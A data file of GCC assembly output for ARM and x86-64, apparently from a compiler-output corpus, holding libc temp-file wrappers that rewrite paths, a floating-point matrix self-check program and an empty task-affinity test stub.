@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
mov r1, #4096
ldr r0, [fp, #-16]
bl strnlen
mov r3, r0
str r3, [fp, #-12]
mov r1, #4096
ldr r0, [fp, #-20]
bl strnlen
mov r3, r0
str r3, [fp, #-8]
ldr r2, [fp, #-12]
ldr r3, [fp, #-24]
sub r3, r2, r3
sub r3, r3, #6
ldr r2, [fp, #-16]
add r0, r2, r3
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
sub r3, r2, r3
sub r3, r3, #6
ldr r2, [fp, #-20]
add r3, r2, r3
mov r2, #6
mov r1, r3
bl memcpy
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size copy_temp_wildcard, .-copy_temp_wildcard
.section .rodata
.align 2
.LC49:
.ascii "mkstemp\000"
.align 2
.LC50:
.word __stack_chk_guard
.text
.align 2
.global mkstemp
.syntax unified
.arm
.fpu softvfp
.type mkstemp, %function
mkstemp:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
ldr r3, .L174
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L174+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite_non_const
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r0, [r2, #-12]
blx r3
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
blt .L171
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-12]
ldr r3, [r3, #-20]
cmp r2, r3
beq .L171
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, #0
ldr r1, [r1, #-12]
ldr r0, [r3, #-20]
bl copy_temp_wildcard
.L171:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
ldr r2, .L174
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L173
bl __stack_chk_fail
.L173:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L175:
.align 2
.L174:
.word .LC50
.word .LC49
.size mkstemp, .-mkstemp
.section .rodata
.align 2
.LC51:
.ascii "mkostemp\000"
.align 2
.LC52:
.word __stack_chk_guard
.text
.align 2
.global mkostemp
.syntax unified
.arm
.fpu softvfp
.type mkostemp, %function
mkostemp:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
sub r3, fp, #4096
sub r3, r3, #12
str r1, [r3, #-24]
ldr r3, .L180
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L180+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite_non_const
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r1, [r1, #-24]
ldr r0, [r2, #-12]
blx r3
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
blt .L177
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-12]
ldr r3, [r3, #-20]
cmp r2, r3
beq .L177
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, #0
ldr r1, [r1, #-12]
ldr r0, [r3, #-20]
bl copy_temp_wildcard
.L177:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
ldr r2, .L180
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L179
bl __stack_chk_fail
.L179:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L181:
.align 2
.L180:
.word .LC52
.word .LC51
.size mkostemp, .-mkostemp
.section .rodata
.align 2
.LC53:
.ascii "mkstemps\000"
.align 2
.LC54:
.word __stack_chk_guard
.text
.align 2
.global mkstemps
.syntax unified
.arm
.fpu softvfp
.type mkstemps, %function
mkstemps:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
sub r3, fp, #4096
sub r3, r3, #12
str r1, [r3, #-24]
ldr r3, .L186
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L186+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite_non_const
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r1, [r1, #-24]
ldr r0, [r2, #-12]
blx r3
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
blt .L183
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-12]
ldr r3, [r3, #-20]
cmp r2, r3
beq .L183
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-24]
ldr r1, [r1, #-12]
ldr r0, [r3, #-20]
bl copy_temp_wildcard
.L183:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
ldr r2, .L186
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L185
bl __stack_chk_fail
.L185:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L187:
.align 2
.L186:
.word .LC54
.word .LC53
.size mkstemps, .-mkstemps
.section .rodata
.align 2
.LC55:
.ascii "mkostemps\000"
.align 2
.LC56:
.word __stack_chk_guard
.text
.align 2
.global mkostemps
.syntax unified
.arm
.fpu softvfp
.type mkostemps, %function
mkostemps:
@ args = 0, pretend = 0, frame = 4128
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #36
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
sub r3, fp, #4096
sub r3, r3, #12
str r1, [r3, #-24]
sub r3, fp, #4096
sub r3, r3, #12
str r2, [r3, #-28]
ldr r3, .L192
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L192+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite_non_const
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r0, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r2, [r2, #-28]
ldr r1, [r1, #-24]
ldr r0, [r0, #-12]
blx r3
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
blt .L189
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-12]
ldr r3, [r3, #-20]
cmp r2, r3
beq .L189
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-24]
ldr r1, [r1, #-12]
ldr r0, [r3, #-20]
bl copy_temp_wildcard
.L189:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
ldr r2, .L192
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L191
bl __stack_chk_fail
.L191:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L193:
.align 2
.L192:
.word .LC56
.word .LC55
.size mkostemps, .-mkostemps
.section .rodata
.align 2
.LC57:
.ascii "mkdtemp\000"
.align 2
.LC58:
.word __stack_chk_guard
.text
.align 2
.global mkdtemp
.syntax unified
.arm
.fpu softvfp
.type mkdtemp, %function
mkdtemp:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
ldr r3, .L200
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L200+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite_non_const
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r0, [r2, #-12]
blx r3
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
bne .L195
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
b .L198
.L195:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-12]
ldr r3, [r3, #-20]
cmp r2, r3
beq .L197
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, #0
ldr r1, [r1, #-12]
ldr r0, [r3, #-20]
bl copy_temp_wildcard
.L197:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
.L198:
ldr r2, .L200
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L199
bl __stack_chk_fail
.L199:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L201:
.align 2
.L200:
.word .LC58
.word .LC57
.size mkdtemp, .-mkdtemp
.section .rodata
.align 2
.LC59:
.ascii "mktemp\000"
.align 2
.LC60:
.word __stack_chk_guard
.text
.align 2
.global mktemp
.syntax unified
.arm
.fpu softvfp
.type mktemp, %function
mktemp:
@ args = 0, pretend = 0, frame = 4120
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4096
sub sp, sp, #28
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-20]
ldr r3, .L208
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r1, .L208+4
mvn r0, #0
bl dlsym
mov r3, r0
sub r2, fp, #4096
sub r2, r2, #12
str r3, [r2, #-16]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #4096
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-20]
bl rewrite_non_const
str r0, [r4, #-12]
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-16]
ldr r0, [r2, #-12]
blx r3
str r0, [r4, #-8]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
cmp r3, #0
bne .L203
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-8]
b .L206
.L203:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r2, #-12]
ldr r3, [r3, #-20]
cmp r2, r3
beq .L205
sub r3, fp, #4096
sub r3, r3, #12
mov r1, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r2, #0
ldr r1, [r1, #-12]
ldr r0, [r3, #-20]
bl copy_temp_wildcard
.L205:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-20]
.L206:
ldr r2, .L208
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L207
bl __stack_chk_fail
.L207:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L209:
.align 2
.L208:
.word .LC60
.word .LC59
.size mktemp, .-mktemp
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "402099.c"
.intel_syntax noprefix
.text
.globl Q
.bss
.align 32
.type Q, @object
.size Q, 4000000
Q:
.zero 4000000
.text
.globl Pfun
.type Pfun, @function
Pfun:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov eax, DWORD PTR -8[rbp]
movsx rdx, eax
mov eax, DWORD PTR -4[rbp]
cdqe
imul rax, rax, 1000
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
movss xmm1, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov eax, DWORD PTR -8[rbp]
cdqe
imul rax, rax, 1000
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
movss xmm0, DWORD PTR [rdx+rax]
mulss xmm0, xmm1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size Pfun, .-Pfun
.globl init
.type init, @function
init:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -8[rbp], 0
jmp .L4
.L7:
mov DWORD PTR -4[rbp], 0
jmp .L5
.L6:
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -8[rbp]
movsd xmm0, QWORD PTR .LC0[rip]
mulsd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -4[rbp]
mulsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov eax, DWORD PTR -8[rbp]
cdqe
imul rax, rax, 1000
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, Q[rip]
movss DWORD PTR [rdx+rax], xmm0
add DWORD PTR -4[rbp], 1
.L5:
cmp DWORD PTR -4[rbp], 999
jle .L6
add DWORD PTR -8[rbp], 1
.L4:
cmp DWORD PTR -8[rbp], 999
jle .L7
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size init, .-init
.globl accum_ref
.type accum_ref, @function
accum_ref:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 24
mov DWORD PTR -20[rbp], edi
pxor xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
mov DWORD PTR -8[rbp], 0
jmp .L9
.L10:
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -8[rbp]
mov esi, edx
mov edi, eax
call Pfun
movss xmm1, DWORD PTR -4[rbp]
addss xmm0, xmm1
movss DWORD PTR -4[rbp], xmm0
add DWORD PTR -8[rbp], 1
.L9:
cmp DWORD PTR -8[rbp], 999
jle .L10
movss xmm0, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size accum_ref, .-accum_ref
.globl accum
.type accum, @function
accum:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 24
mov DWORD PTR -20[rbp], edi
pxor xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
mov DWORD PTR -8[rbp], 0
jmp .L13
.L14:
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -8[rbp]
mov esi, edx
mov edi, eax
call Pfun
movss xmm1, DWORD PTR -4[rbp]
addss xmm0, xmm1
movss DWORD PTR -4[rbp], xmm0
add DWORD PTR -8[rbp], 1
.L13:
cmp DWORD PTR -8[rbp], 999
jle .L14
movss xmm0, DWORD PTR -4[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size accum, .-accum
.globl check
.type check, @function
check:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
movss DWORD PTR -20[rbp], xmm0
movss DWORD PTR -24[rbp], xmm1
pxor xmm0, xmm0
ucomiss xmm0, DWORD PTR -24[rbp]
jp .L25
pxor xmm0, xmm0
comiss xmm0, DWORD PTR -24[rbp]
je .L28
.L25:
movss xmm0, DWORD PTR -20[rbp]
subss xmm0, DWORD PTR -24[rbp]
divss xmm0, DWORD PTR -24[rbp]
jmp .L19
.L28:
movss xmm0, DWORD PTR -20[rbp]
.L19:
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jbe .L29
movss xmm0, DWORD PTR -4[rbp]
jmp .L22
.L29:
movss xmm0, DWORD PTR -4[rbp]
movss xmm1, DWORD PTR .LC2[rip]
xorps xmm0, xmm1
.L22:
cvtss2sd xmm0, xmm0
comisd xmm0, QWORD PTR .LC3[rip]
ja .L27
jmp .L30
.L27:
call abort@PLT
.L30:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size check, .-check
.globl main
.type main, @function
main:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 24
.cfi_offset 3, -24
mov eax, 0
call init
mov DWORD PTR -20[rbp], 0
jmp .L32
.L33:
mov eax, DWORD PTR -20[rbp]
mov edi, eax
call accum_ref
movd ebx, xmm0
mov eax, DWORD PTR -20[rbp]
mov edi, eax
call accum
movd eax, xmm0
movd xmm1, ebx
movd xmm0, eax
call check
add DWORD PTR -20[rbp], 1
.L32:
cmp DWORD PTR -20[rbp], 999
jle .L33
mov eax, 0
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size main, .-main
.section .rodata
.align 8
.LC0:
.long -755914244
.long 1062232653
.align 16
.LC2:
.long -2147483648
.long 0
.long 0
.long 0
.align 8
.LC3:
.long -1998362383
.long 1055193269
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "402099.c"
.text
.comm Q,4000000,4
.global __aeabi_fmul
.align 2
.global Pfun
.syntax unified
.arm
.fpu softvfp
.type Pfun, %function
Pfun:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r1, .L3
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #5
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-12]
add r3, r3, r2
ldr r0, [r1, r3, lsl #2] @ float
ldr r1, .L3
ldr r2, [fp, #-12]
mov r3, r2
lsl r3, r3, #5
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-8]
add r3, r3, r2
ldr r3, [r1, r3, lsl #2] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L4:
.align 2
.L3:
.word Q
.size Pfun, .-Pfun
.global __aeabi_i2d
.global __aeabi_dmul
.global __aeabi_d2f
.align 2
.global init
.syntax unified
.arm
.fpu softvfp
.type init, %function
init:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #8
mov r3, #0
str r3, [fp, #-20]
b .L6
.L9:
mov r3, #0
str r3, [fp, #-16]
b .L7
.L8:
ldr r0, [fp, #-20]
bl __aeabi_i2d
ldr r2, .L10
ldr r3, .L10+4
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-16]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r1, r0
ldr r0, .L10+8
ldr r2, [fp, #-20]
mov r3, r2
lsl r3, r3, #5
sub r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-16]
add r3, r3, r2
str r1, [r0, r3, lsl #2] @ float
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L7:
ldr r3, [fp, #-16]
cmp r3, #1000
blt .L8
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L6:
ldr r3, [fp, #-20]
cmp r3, #1000
blt .L9
nop
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L11:
.align 2
.L10:
.word -755914244
.word 1062232653
.word Q
.size init, .-init
.global __aeabi_fadd
.align 2
.global accum_ref
.syntax unified
.arm
.fpu softvfp
.type accum_ref, %function
accum_ref:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r3, #0
str r3, [fp, #-8] @ float
mov r3, #0
str r3, [fp, #-12]
b .L13
.L14:
ldr r1, [fp, #-16]
ldr r0, [fp, #-12]
bl Pfun
mov r3, r0
mov r1, r3
ldr r0, [fp, #-8] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-8] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L13:
ldr r3, [fp, #-12]
cmp r3, #1000
blt .L14
ldr r3, [fp, #-8] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size accum_ref, .-accum_ref
.align 2
.global accum
.syntax unified
.arm
.fpu softvfp
.type accum, %function
accum:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r3, #0
str r3, [fp, #-8] @ float
mov r3, #0
str r3, [fp, #-12]
b .L17
.L18:
ldr r1, [fp, #-16]
ldr r0, [fp, #-12]
bl Pfun
mov r3, r0
mov r1, r3
ldr r0, [fp, #-8] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-8] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L17:
ldr r3, [fp, #-12]
cmp r3, #1000
blt .L18
ldr r3, [fp, #-8] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size accum, .-accum
.global __aeabi_fcmpeq
.global __aeabi_fsub
.global __aeabi_fdiv
.global __aeabi_fcmpgt
.global __aeabi_f2d
.global __aeabi_dcmpgt
.align 2
.global check
.syntax unified
.arm
.fpu softvfp
.type check, %function
check:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16] @ float
str r1, [fp, #-20] @ float
mov r1, #0
ldr r0, [fp, #-20] @ float
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L32
ldr r1, [fp, #-20] @ float
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
b .L23
.L32:
ldr r3, [fp, #-16] @ float
.L23:
str r3, [fp, #-8] @ float
mov r1, #0
ldr r0, [fp, #-8] @ float
bl __aeabi_fcmpgt
mov r3, r0
cmp r3, #0
beq .L33
ldr r3, [fp, #-8] @ float
b .L26
.L33:
ldr r3, [fp, #-8]
eor r3, r3, #-2147483648
.L26:
mov r0, r3
bl __aeabi_f2d
ldr r2, .L35
ldr r3, .L35+4
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L31
b .L34
.L31:
bl abort
.L34:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L36:
.align 2
.L35:
.word -1998362383
.word 1055193269
.size check, .-check
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
bl init
mov r3, #0
str r3, [fp, #-16]
b .L38
.L39:
ldr r0, [fp, #-16]
bl accum
mov r4, r0
ldr r0, [fp, #-16]
bl accum_ref
mov r3, r0
mov r1, r3
mov r0, r4
bl check
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L38:
ldr r3, [fp, #-16]
cmp r3, #1000
blt .L39
mov r3, #0
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "3180.c"
.intel_syntax noprefix
.text
.globl test_task_affinity
.type test_task_affinity, @function
test_task_affinity:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size test_task_affinity, .-test_task_affinity
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "3180.c"
.text
.align 2
.global test_task_affinity
.syntax unified
.arm
.fpu softvfp
.type test_task_affinity, %function
test_task_affinity:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
